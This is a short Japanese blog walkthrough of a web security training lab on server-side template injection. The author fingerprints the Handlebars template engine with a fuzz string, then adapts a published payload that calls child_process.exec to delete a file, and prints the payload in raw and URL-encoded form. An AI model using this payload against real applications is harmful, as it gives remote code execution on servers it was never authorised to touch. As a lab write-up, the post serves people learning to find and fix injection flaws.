Shikata Ga Nai

Private? There is no such things.

Server-side template injection in an unknown language with a documented exploitをやってみた

Hello there, ('ω')ノ

 

文書化されたエクスプロイトで未知の言語で。

サーバサイドテンプレートインジェクションを。

 

ラボを解決するには、テンプレートエンジンを特定して。

任意のコードの実行に使用できるエクスプロイトをオンラインで見つけて。

 

製品の詳細をクリックすると下記のメッセージが。

 

f:id:ThisIsOne:20210526135440p:plain

 

下記のファズ文字列をメッセージパラメータに挿入すると。

Webサイトがnode_modulesのhandlebarsのエラーが。

 

 ${{<%[%'"}}%\

 ⇩

 https://acaa1f641f2f31f480a00ae900cb0019.web-security-academy.net/?message=${{%3C%[%%27%22}}%\

 

f:id:ThisIsOne:20210526135834p:plain

 

Webで、handlebarsのtemplate injectionを検索すると下記のサイトで。

エクスプロイトを見つけることができて。

その一部を変更して、ファイルを削除することに。

 

 http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html


wrtz{{#with "s" as |string|}}
 {{#with "e"}}
  {{#with split as |conslist|}}
   {{this.pop}}
   {{this.push (lookup string.sub "constructor")}}
   {{this.pop}}
   {{#with string.split as |codelist|}}
    {{this.pop}}
    {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
    {{this.pop}}
    {{#each conslist}}
     {{#with (string.sub.apply 0 codelist)}}
      {{this}}
     {{/with}}
    {{/each}}
   {{/with}}
  {{/with}}
 {{/with}}
{{/with}}

 

f:id:ThisIsOne:20210526140623p:plain

 

上記のエクスプロイトコードをURLエンコードして。

 

f:id:ThisIsOne:20210526142504p:plain


下記のパラメータを追加するとクリアできた。

 

https://ac001f1f1f20a2a280e81bf6004c003b.web-security-academy.net/?message=%77%72%74%7a%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%7b%7b%74%68%69%73%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%65%61%63%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d

 

f:id:ThisIsOne:20210526142530p:plain

 

Best regards, (^^ゞ